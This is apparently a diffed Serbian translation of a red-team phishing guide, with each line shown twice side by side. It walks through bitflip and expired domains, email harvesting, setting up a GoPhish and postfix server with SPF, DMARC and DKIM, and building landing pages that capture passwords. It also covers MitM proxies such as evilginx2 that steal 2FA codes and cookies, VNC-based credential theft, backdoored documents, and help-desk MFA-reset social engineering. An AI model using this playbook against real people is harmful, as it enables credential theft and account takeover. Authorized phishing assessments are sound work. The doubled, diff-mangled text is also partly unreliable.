Postoji **mogućnost da se neki bitovi, koji su sačuvani ili u komunikaciji, automatski preokrenu** zbog različitih faktora kao što su solarne erupcije, kosmičko zračenje ili hardverske greške. Postoji **mogućnost da se neki bitovi** u skladištenju ili komunikaciji automatski promene zbog raznih faktora kao što su solarne oluje, kosmički zraci ili hardverske greške.
Kada se ovaj koncept **primeni na DNS zahteve**, moguće je da **domen koji DNS server primi** nije isti kao domen koji je prvobitno zatražen. Kada se ovaj koncept primeni na DNS zahteve, moguće je da **domain koji DNS server zaprimi** nije isti kao domain koji je inicijalno zahtevan.
Na primer, jedna izmena bita u domenu "windows.com" može ga promeniti u "windnws.com." Na primer, promena jednog bita u domain-u "windows.com" može ga promeniti u "windnws.com."
Napadači mogu **iskoristiti ovo registrujući više bit-flipping domena** koji su slični domenu žrtve. Njihova namera je da preusmere legitimne korisnike na sopstvenu infrastrukturu. Napadači mogu **iskoristiti ovo tako što registruju više bit-flipping domain-a** koji su slični domain-u žrtve. Njihova namera je da preusmere legitimne korisnike na svoju infrastrukturu.
Za više informacija pročitajte [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) Za više informacija pogledaj [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Kupovina pouzdanog domena ### Buy a trusted domain
Možete pretražiti [https://www.expireddomains.net/](https://www.expireddomains.net) za istekao domen koji biste mogli koristiti.\ Možeš pretražiti [https://www.expireddomains.net/](https://www.expireddomains.net) za expired domain koji bi mogao da iskoristiš.\
Da biste bili sigurni da domen koji planirate da kupite **već ima dobar SEO**, možete proveriti kako je kategorizovan u: Da bi bio siguran da expired domain koji planiraš da kupiš **već ima dobar SEO**, možeš proveriti kako je kategorizovan na:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## Otkrivanje e-mail adresa ## Discovering Emails
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% besplatno) - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
- [https://phonebook.cz/](https://phonebook.cz) (100% besplatno) - [https://phonebook.cz/](https://phonebook.cz) (100% free)
- [https://maildb.io/](https://maildb.io) - [https://maildb.io/](https://maildb.io)
- [https://hunter.io/](https://hunter.io) - [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com) - [https://anymailfinder.com/](https://anymailfinder.com)
Da biste **otkrili više** validnih e-mail adresa ili **verifikovali one** koje ste već otkrili, možete proveriti da li ih možete brute-force-ovati na SMTP serverima žrtve. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ Da bi **otkrio više** validnih email adresa ili **verifikovao one** koje si već pronašao, možeš proveriti da li možeš brute-force-ovati smtp servere žrtve. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Pored toga, ne zaboravite da ako korisnici koriste **bilo koji web portal za pristup svojim mejlovima**, možete proveriti da li je ranjiv na **username brute force**, i iskoristiti ranjivost ako je moguće. Takođe, ne zaboravi da ako korisnici koriste **bilo koji web portal za pristup mail-ovima**, možeš proveriti da li je ranjiv na **username brute force**, i iskoristiti tu ranjivost ako je moguće.
## Konfigurisanje GoPhish ## Configuring GoPhish
### Instalacija ### Instalacija
Možete ga preuzeti sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) Možeš ga download-ovati sa [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Preuzmite i raspakujte ga u `/opt/gophish` i pokrenite `/opt/gophish/gophish`\ Download-uj i dekompresuj unutar `/opt/gophish` i pokreni `/opt/gophish/gophish`\
U izlazu će vam biti dodeljena lozinka za admin korisnika na portu 3333. Dakle, pristupite tom portu i koristite te akreditive da promenite admin lozinku. Možda ćete morati da tunelišete taj port lokalno: U output-u će ti biti dat password za admin user-a na portu 3333. Dakle, pristupi tom portu i iskoristi te credentials da promeniš admin password. Možda ćeš trebati da tuneluješ taj port ka lokalnom:
```bash ```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip> ssh -L 3333:127.0.0.1:3333 <user>@<ip>
``` ```
@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**Konfiguracija TLS sertifikata** **Konfiguracija TLS sertifikata**
Pre ovog koraka trebalo bi da ste **već kupili domen** koji ćete koristiti i on mora biti **usmeren** na **IP VPS-a** na kojem konfigurišete **gophish**. Pre ovog koraka trebalo bi da ste **već kupili domen** koji ćete koristiti i on mora da bude **usmeren** na **IP adresu VPS-a** gde konfigurišete **gophish**.
```bash ```bash
DOMAIN="<domain>" DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto wget https://dl.eff.org/certbot-auto
@ -114,7 +114,7 @@ cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
``` ```
**Konfiguracija pošte** **Konfiguracija pošte**
Počnite sa instalacijom: `apt-get install postfix` Počnite instalaciju: `apt-get install postfix`
Zatim dodajte domen u sledeće fajlove: Zatim dodajte domen u sledeće fajlove:
@ -122,23 +122,23 @@ Zatim dodajte domen u sledeće fajlove:
- **/etc/postfix/transport** - **/etc/postfix/transport**
- **/etc/postfix/virtual_regexp** - **/etc/postfix/virtual_regexp**
**Takođe promenite vrednosti sledećih promenljivih u fajlu /etc/postfix/main.cf** **Takođe promenite vrednosti sledećih promenljivih u /etc/postfix/main.cf**
`myhostname = <domain>`\ `myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost` `mydestination = $myhostname, <domain>, localhost.com, localhost`
Na kraju izmenite fajlove **`/etc/hostname`** i **`/etc/mailname`** tako da sadrže vaš domen i **restartujte vaš VPS.** Na kraju izmenite fajlove **`/etc/hostname`** i **`/etc/mailname`** tako da sadrže vaš domen i **restartujte vaš VPS.**
Sada kreirajte **DNS A record** za `mail.<domain>` koji pokazuje na **ip address** VPS-a i **DNS MX** zapis koji pokazuje na `mail.<domain>` Sada kreirajte **DNS A record** za `mail.<domain>` koji pokazuje na **IP adresu** VPS-a i **DNS MX** zapis koji pokazuje na `mail.<domain>`
Sada ćemo testirati slanje e-maila: Sada ćemo testirati slanje emaila:
```bash ```bash
apt install mailutils apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
``` ```
**Gophish konfiguracija** **Gophish konfiguracija**
Zaustavite izvršavanje gophish-a i hajde da ga konfigurišemo.\ Zaustavite izvršavanje gophish i hajde da ga konfigurišemo.\
Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu https): Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu https):
```bash ```bash
{ {
@ -166,7 +166,7 @@ Izmenite `/opt/gophish/config.json` na sledeće (obratite pažnju na upotrebu ht
``` ```
**Konfigurišite gophish servis** **Konfigurišite gophish servis**
Da biste kreirali gophish servis tako da može biti automatski pokrenut i upravljan kao servis, možete kreirati fajl `/etc/init.d/gophish` sa sledećim sadržajem: Da biste kreirali gophish servis tako da se može automatski pokretati i upravljati kao servis, možete kreirati fajl `/etc/init.d/gophish` sa sledećim sadržajem:
```bash ```bash
#!/bin/bash #!/bin/bash
# /etc/init.d/gophish # /etc/init.d/gophish
@ -213,7 +213,7 @@ case $1 in
start|stop|status) "$1" ;; start|stop|status) "$1" ;;
esac esac
``` ```
Završite konfigurisanje servisa i proverite ga tako što ćete uraditi: Završite konfiguraciju servisa i proveru tako što ćete uraditi:
```bash ```bash
mkdir /var/log/gophish mkdir /var/log/gophish
chmod +x /etc/init.d/gophish chmod +x /etc/init.d/gophish
@ -226,25 +226,25 @@ service gophish stop
``` ```
## Konfigurisanje mail servera i domena ## Konfigurisanje mail servera i domena
### Sačekajte i budite legitimni ### Sačekaj i budi legitiman
Što je domen stariji, to je manja verovatnoća da će biti označen kao spam. Zato biste trebali čekati što duže (najmanje 1 nedelju) pre phishing procene. Pored toga, ako postavite stranicu vezanu za sektor sa boljom reputacijom, reputacija koja se stekne biće bolja. Što je domen stariji, manja je verovatnoća da će biti označen kao spam. Zato treba da sačekaš što je moguće duže (najmanje 1 nedelju) pre phishing procene. Takođe, ako postaviš stranicu povezanu sa reputacionim sektorom, dobijena reputacija će biti bolja.
Imajte na umu da, čak i ako morate čekati nedelju dana, možete sada završiti svu konfiguraciju. Imaj na umu da iako treba da sačekaš nedelju dana, možeš sada završiti svu konfiguraciju.
### Configure Reverse DNS (rDNS) record ### Konfiguriši Reverse DNS (rDNS) zapis
Postavite rDNS (PTR) zapis koji rezoluje IP adresu VPS-a na ime domena. Postavi rDNS (PTR) zapis koji rešava IP adresu VPS-a na ime domena.
### Sender Policy Framework (SPF) Record ### Sender Policy Framework (SPF) Record
Morate **konfigurisati SPF zapis za novi domen**. Ako ne znate šta je SPF zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#spf). Moraš **konfigurisati SPF zapis za novi domen**. Ako ne znaš šta je SPF zapis [**pročitaj ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Možete koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišete vašu SPF politiku (koristite IP VPS mašine) Možeš koristiti [https://www.spfwizard.net/](https://www.spfwizard.net) da generišeš svoju SPF politiku (koristi IP VPS mašine)
![](<../../images/image (1037).png>) ![](<../../images/image (1037).png>)
Ovo je sadržaj koji mora biti postavljen unutar TXT zapisa na domenu: Ovo je sadržaj koji treba postaviti u TXT record unutar domena:
```bash ```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all v=spf1 mx a ip4:ip.ip.ip.ip ?all
``` ```
@ -252,18 +252,18 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
Morate **konfigurisati DMARC zapis za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). Morate **konfigurisati DMARC zapis za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Morate kreirati novi DNS TXT zapis koji pokazuje na hostname `_dmarc.<domain>` sa sledećim sadržajem: Morate da kreirate novi DNS TXT zapis usmeren na hostname `_dmarc.<domain>` sa sledećim sadržajem:
```bash ```bash
v=DMARC1; p=none v=DMARC1; p=none
``` ```
### DomainKeys Identified Mail (DKIM) ### DomainKeys Identified Mail (DKIM)
Morate **konfigurisati DKIM za novi domen**. Ako ne znate šta je DMARC zapis [**pročitajte ovu stranicu**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). Morate **konfigurisati DKIM za novi domen**. Ako ne znate šta je DMARC zapis [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP] > [!TIP]
> Potrebno je da konkatenirate obe B64 vrednosti koje DKIM ključ generiše: > Potrebno je da spojite obe B64 vrednosti koje DKIM ključ generiše:
> >
> ``` > ```
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
@ -271,13 +271,13 @@ This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how
### Test your email configuration score ### Test your email configuration score
To možete uraditi koristeći [https://www.mail-tester.com/](https://www.mail-tester.com/)\ You can do that using [https://www.mail-tester.com/](https://www.mail-tester.com/)\
Samo pristupite stranici i pošaljite e-mail na adresu koju vam daju: Samo pristupite stranici i pošaljite email na adresu koju vam daju:
```bash ```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
``` ```
Možete takođe **proveriti konfiguraciju e-pošte** slanjem poruke na `check-auth@verifier.port25.com` i **čitajući odgovor** (za ovo ćete morati da **otvorite** port **25** i pogledate odgovor u fajlu _/var/mail/root_ ako pošaljete poruku kao root).\ Takođe možete **proveriti konfiguraciju e-pošte** slanjem e-poruke na `check-auth@verifier.port25.com` i **čitajući odgovor** (za ovo ćete morati da **otvorite** port **25** i vidite odgovor u fajlu _/var/mail/root_ ako pošaljete poruku kao root).\
Proverite da li prolazite sve testove: Proverite da li ste prošli sve testove:
```bash ```bash
========================================================== ==========================================================
Summary of Results Summary of Results
@ -288,40 +288,40 @@ DKIM check: pass
Sender-ID check: pass Sender-ID check: pass
SpamAssassin check: ham SpamAssassin check: ham
``` ```
Možete takođe poslati **poruku na Gmail nalog pod vašom kontrolom**, i proveriti **zaglavlja e-pošte** u svom Gmail inboxu, `dkim=pass` bi trebalo da bude prisutno u polju zaglavlja `Authentication-Results`. Takođe možete poslati **poruku na Gmail koji kontrolišete**, i proveriti **zaglavlja emaila** u svom Gmail inboxu, `dkim=pass` treba da bude prisutan u polju `Authentication-Results`.
``` ```
Authentication-Results: mx.google.com; Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com; dkim=pass header.i=@example.com;
``` ```
### Removing from Spamhouse Blacklist ### Uklanjanje sa Spamhouse crne liste
Stranica [www.mail-tester.com](https://www.mail-tester.com) može da vam pokaže da li je vaš domen blokiran od strane Spamhouse-a. Možete zatražiti uklanjanje domena/IP-a na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) Stranica [www.mail-tester.com](https://www.mail-tester.com) može da vam pokaže da li je vaš domen blokiran od strane Spamhouse. Možete zatražiti uklanjanje vašeg domena/IP-a na: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Removing from Microsoft Blacklist ### Uklanjanje sa Microsoft crne liste
Možete zatražiti uklanjanje domena/IP-a na [https://sender.office.com/](https://sender.office.com). Možete zatražiti uklanjanje vašeg domena/IP-a na [https://sender.office.com/](https://sender.office.com).
## Create & Launch GoPhish Campaign ## Kreiranje i pokretanje GoPhish kampanje
### Sending Profile ### Profil pošiljaoca
- Postavite neko **ime za identifikaciju** profila pošiljaoca - Postavite neko **ime za identifikaciju** profila pošiljaoca
- Odlučite sa kojeg naloga ćete slati phishing mejlove. Predlozi: _noreply, support, servicedesk, salesforce..._ - Odlučite sa kog naloga ćete slati phishing mejlove. Predlozi: _noreply, support, servicedesk, salesforce..._
- Možete ostaviti prazno korisničko ime i lozinku, ali obavezno označite opciju Ignore Certificate Errors - Možete ostaviti korisničko ime i lozinku praznim, ali obavezno označite Ignore Certificate Errors
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP] > [!TIP]
> Preporučuje se korišćenje funkcionalnosti "**Send Test Email**" da biste testirali da li sve radi.\ > Preporučuje se da koristite funkciju "**Send Test Email**" da testirate da li sve radi.\
> Preporučio bih da **pošaljete test mejlove na 10min mails adrese** kako biste izbegli da prilikom testiranja budete stavljeni na crnu listu. > Preporučujem da **pošaljete test mejlove na 10min mails adrese** kako biste izbegli stavljanje na crnu listu tokom testiranja.
### Email Template ### Šablon mejla
- Postavite neko **ime za identifikaciju** šablona - Postavite neko **ime za identifikaciju** šablona
- Zatim napišite **subject** (ništa čudno, samo nešto što biste očekivali da pročitate u običnom emailu) - Zatim napišite **subject** (ništa čudno, samo nešto što biste očekivali da pročitate u običnom mejlu)
- Uverite se da ste označili "**Add Tracking Image**" - Obavezno označite "**Add Tracking Image**"
- Napišite **email template** (možete koristiti varijable kao u sledećem primeru): - Napišite **šablon mejla** (možete koristiti promenljive kao u sledećem primeru):
```html ```html
<html> <html>
<head> <head>
@ -340,65 +340,65 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body> </body>
</html> </html>
``` ```
Imajte na umu da, **kako biste povećali kredibilitet epošte**, preporučuje se korišćenje nekog potpisa iz emaila klijenta. Predlozi: Napomena: **da biste povećali kredibilitet mejla**, preporučuje se korišćenje neke potpisa iz mejla klijenta. Predlozi:
- Pošaljite poruku na **nepostojeću adresu** i proverite da li odgovor sadrži neki potpis. - Pošaljite mejl na **nepostojeću adresu** i proverite da li odgovor sadrži neki potpis.
- Potražite **javne adrese** kao što su info@ex.com, press@ex.com ili public@ex.com i pošaljite im email i sačekajte odgovor. - Potražite **javne mejlove** kao info@ex.com ili press@ex.com ili public@ex.com i pošaljite im mejl i sačekajte odgovor.
- Pokušajte da kontaktirate **neku validnu otkrivenu** adresu i sačekajte odgovor. - Pokušajte da kontaktirate **neki validan otkriven** mejl i sačekajte odgovor
![](<../../images/image (80).png>) ![](<../../images/image (80).png>)
> [!TIP] > [!TIP]
> Šablon epošte takođe omogućava **prilaženje fajlova za slanje**. Ako želite i da ukradete NTLM izazove korišćenjem posebno izrađenih fajlova/dokumenata, [pročitajte ovu stranicu](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). > The Email Template takođe omogućava **prilaženje fajlova za slanje**. Ako želite i da ukradete NTLM challenges koristeći posebno kreirane fajlove/dokumente [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Landing Page ### Landing Page
- Navedite **ime** - Unesite **ime**
- **Napišite HTML kod** web stranice. Imajte na umu da možete **importovati** veb stranice. - **Napišite HTML kod** web stranice. Imajte u vidu da možete **importovati** web stranice.
- Obeležite **Capture Submitted Data** i **Capture Passwords** - Označite **Capture Submitted Data** i **Capture Passwords**
- Podesite **preusmeravanje** - Podesite **redirection**
![](<../../images/image (826).png>) ![](<../../images/image (826).png>)
> [!TIP] > [!TIP]
> Obično ćete morati da izmenite HTML kod stranice i izvršite testove lokalno (možda koristeći neki Apache server) **dok ne budete zadovoljni rezultatima.** Zatim unesite taj HTML kod u polje.\ > Obično će biti potrebno modifikovati HTML kod stranice i raditi testove lokalno (možda koristeći neki Apache server) **dok ne dobijete željene rezultate.** Zatim taj HTML kod upišite u polje.\
> Imajte u vidu da ako treba da **koristite neke statične resurse** za HTML (npr. CSS i JS fajlove) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i potom im pristupati preko _**/static/\<filename>**_ > Napomena: ako trebate **koristiti statičke resurse** za HTML (npr. neke CSS i JS fajlove) možete ih sačuvati u _**/opt/gophish/static/endpoint**_ i potom im pristupati preko _**/static/\<filename>**_
> [!TIP] > [!TIP]
> Za preusmeravanje možete **preusmeriti korisnike na legitimnu glavnu stranicu** žrtve, ili preusmeriti ih na _/static/migration.html_ na primer, prikazati **spinning wheel** ([https://loading.io/](https://loading.io)) 5 sekundi i potom naznačiti da je proces uspešan. > Za redirection možete **preusmeriti korisnike na legitimnu glavnu stranicu** žrtve, ili ih redirektovati na _/static/migration.html_ na primer, prikazati neki **spinning wheel** ([**https://loading.io/**](https://loading.io)) 5 sekundi i onda naznačiti da je proces uspešan.
### Korisnici i grupe ### Users & Groups
- Postavite naziv - Podesite ime
- **Importujte podatke** (imajte u vidu da da biste koristili šablon za primer trebate firstname, last name i email address svakog korisnika) - **Importujte podatke** (imajte u vidu da za korišćenje template-a u primeru trebate firstname, last name i email address svakog korisnika)
![](<../../images/image (163).png>) ![](<../../images/image (163).png>)
### Kampanja ### Campaign
Na kraju, kreirajte kampanju birajući ime, šablon epošte, landing page, URL, sending profile i grupu. Imajte na umu da će URL biti link poslat žrtvama. Na kraju, kreirajte kampanju birajući ime, email template, landing page, URL, Sending Profile i grupu. Napomena: URL će biti link poslat žrtvama.
Napomena: **Sending Profile omogućava slanje testne poruke da vidite kako će konačna phishing poruka izgledati**: Imajte u vidu da **Sending Profile omogućava slanje test mejla da vidite kako će finalni phishing mejl izgledati**:
![](<../../images/image (192).png>) ![](<../../images/image (192).png>)
> [!TIP] > [!TIP]
> Preporučio bih da **testne poruke šaljete na 10min mail adrese** kako biste izbegli da vas stave na blacklist prilikom testiranja. > Preporučujem da **test mejlove šaljete na 10min mail adrese** kako biste izbegli da budete blacklisted tokom testiranja.
Kada je sve spremno, jednostavno pokrenite kampanju! Kada je sve spremno, samo pokrenite kampanju!
## Kloniranje vebsajta ## Website Cloning
Ako iz bilo kog razloga želite da klonirate vebsajt, pogledajte sledeću stranicu: Ako iz bilo kog razloga želite da klonirate vebsajt, proverite sledeću stranicu:
{{#ref}} {{#ref}}
clone-a-website.md clone-a-website.md
{{#endref}} {{#endref}}
## Dokumenti i fajlovi sa backdoorom ## Backdoored Documents & Files
U nekim phishing procenama (uglavnom za Red Team-ove) možda ćete želeti da pošaljete i **fajlove koji sadrže neku vrstu backdoor-a** (možda C2 ili nešto što će samo pokrenuti autentifikaciju).\ U nekim phishing procenama (uglavnom za Red Teams) ćete želeti i da **pošaljete fajlove koji sadrže neku vrstu backdoora** (možda C2 ili nešto što će samo pokrenuti autentifikaciju).\
Pogledajte sledeću stranicu za neke primere: Pogledajte sledeću stranicu za neke primere:
@ -408,55 +408,55 @@ phishing-documents.md
## Phishing MFA ## Phishing MFA
### Preko Proxy MitM ### Via Proxy MitM
Prethodna metoda je prilično pametna jer falsifikujete pravu veb stranicu i prikupljate informacije koje korisnik unese. Nažalost, ako korisnik nije uneo tačnu lozinku ili ako aplikacija koju ste falsifikovali koristi 2FA, **ove informacije vam neće omogućiti da se predstavljate kao prevareni korisnik**. Prethodni napad je prilično pametan jer falsifikujete stvarni sajt i prikupljate informacije koje korisnik unese. Nažalost, ako korisnik nije uneo ispravnu lozinku ili ako aplikacija koju ste falsifikovali koristi 2FA, **ove informacije vam neće omogućiti da se imitujete kao kompromitovani korisnik**.
Tu dolaze alati kao što su [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena). Ovi alati vam omogućavaju da generišete MitM napad. U osnovi, napad funkcioniše na sledeći način: Ovde alati poput [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) i [**muraena**](https://github.com/muraenateam/muraena) postaju korisni. Ovaj alat vam omogućava da generišete MitM tip napada. U suštini, napad funkcioniše na sledeći način:
1. Lažirate login formu prave veb stranice. 1. Vi **imitirate login** formu prave web stranice.
2. Korisnik pošalje svoje **credentials** na vašu lažnu stranicu i alat ih prosleđuje pravoj stranici, **proveravajući da li credentiali rade**. 2. Korisnik **pošalje** svoje **credentials** na vašu lažnu stranicu i alat ih prosleđuje pravoj stranici, **proveravajući da li credentials rade**.
3. Ako nalog koristi **2FA**, MitM stranica će tražiti kod i kada **korisnik unese** kod alat će ga proslediti pravoj veb stranici. 3. Ako nalog koristi **2FA**, MitM stranica će tražiti kod i kada **korisnik unese** kod, alat će ga poslati pravoj web stranici.
4. Kada je korisnik autentifikovan, vi (kao napadač) ste **zabeležili kredencijale, 2FA kod, cookie i sve informacije** svake interakcije dok alat radi MitM. 4. Kada je korisnik autentifikovan, vi (kao napadač) ćete imati **uhvaćene credentials, 2FA, cookie i sve informacije** o svakoj interakciji dok alat radi MitM.
### Preko VNC ### Via VNC
Šta ako umesto da **preusmerite žrtvu na zlonamernu stranicu** koja izgleda kao original, pošaljete žrtvu u **VNC sesiju sa browser-om povezanom na pravu veb stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, MFA koji koristi, cookie-je...\ Šta ako umesto da **preusmerite žrtvu na malicioznu stranicu** koja izgleda kao originalna, pošaljete je u **VNC sesiju sa browserom koji je povezan na pravu web stranicu**? Moći ćete da vidite šta radi, ukradete lozinku, MFA koji se koristi, cookies...\
To možete uraditi koristeći [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) Možete ovo postići pomoću [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Kako otkriti da ste otkriveni ## Detecting the detection
Očigledno je da je jedan od najboljih načina da znate da li ste “pali” da **pretražite svoj domen u crnim listama**. Ako se pojavi na listi, vaš domen je na neki način detektovan kao sumnjiv.\ Očigledno, jedan od najboljih načina da saznate da li ste otkriveni je da **pretražite svoj domen u crnim listama**. Ako se pojavi na listi, na neki način je vaš domen detektovan kao sumnjiv.\
Jedan lak način da proverite da li se vaš domen nalazi u nekoj crnoj listi je da koristite [https://malwareworld.com/](https://malwareworld.com) Jedan lak način da proverite da li se vaš domen nalazi u nekoj crnoj listi je korišćenje [https://malwareworld.com/](https://malwareworld.com)
Međutim, postoje i drugi načini da znate da li žrtva **aktivno traži sumnjive phishing domene** kako je objašnjeno u: Međutim, postoje i drugi načini da saznate da li žrtva **aktivno traži sumnjive phishing domene u prirodi**, kao što je objašnjeno u:
{{#ref}} {{#ref}}
detecting-phising.md detecting-phising.md
{{#endref}} {{#endref}}
Možete **kupiti domen vrlo sličnog imena** žrtvinom domenu **i/ili generisati sertifikat** za **subdomen** domena koji kontrolišete, a koji sadrži **ključnu reč** iz domena žrtve. Ako **žrtva** izvrši bilo koju vrstu **DNS ili HTTP interakcije** sa njima, znaćete da **aktivno traži** sumnjive domene i bićete primorani da budete veoma stealth. Možete **kupiti domen sa veoma sličnim imenom** domenu žrtve **i/ili generisati sertifikat** za **subdomen** domena koji vi kontrolišete **koji sadrži** **ključnu reč** žrtvinog domena. Ako žrtva izvrši bilo kakvu **DNS ili HTTP interakciju** sa njima, znaćete da **aktivno traži** sumnjive domene i bićete prinuđeni da budete veoma stealth.
### Procena phishing kampanje ### Evaluate the phishing
Koristite [**Phishious**](https://github.com/Rices/Phishious) da procenite da li će vaša poruka završiti u spam folderu, biti blokirana ili uspešna. Koristite [**Phishious** ](https://github.com/Rices/Phishious) da procenite da li će vaš mejl završiti u spam folderu, biti blokiran ili uspešan.
## High-Touch Identity Compromise (Help-Desk MFA Reset) ## High-Touch Identity Compromise (Help-Desk MFA Reset)
Savremeni intrusion setovi sve češće uopšte preskaču email mamce i **direktno ciljaju service-desk / workflow za identity-recovery** kako bi zaobišli MFA. Napad je u potpunosti “living-off-the-land”: jednom kada operator posede validne kredencijale pivot-uje koristeći ugrađene admin alate nije potreban malware. Moderni intrusion setovi sve više preskaču email mamce i **direktno ciljaju service-desk / identity-recovery workflow** kako bi zaobišli MFA. Napad je potpuno "living-off-the-land": kada operator poseduje validne kredencijale, on pivotira sa ugrađenim admin alatima nije potreban malware.
### Tok napada ### Attack flow
1. Recon na metu 1. Recon žrtve
* Prikupljanje ličnih i korporativnih podataka sa LinkedIn-a, iz data breach-eva, javnog GitHub-a itd. * Sakupite lične i korporativne podatke sa LinkedIn, curenja podataka, javnog GitHub-a, itd.
* Identifikujte visokovredne identitete (izvršni, IT, finansije) i izbrojte tačan help-desk proces za reset lozinke / MFA. * Identifikujte visokovredne identitete (izvršni, IT, finansije) i izbrojite **tačan help-desk proces** za reset lozinke / MFA.
2. Socijalni inženjering u realnom vremenu 2. Real-time social engineering
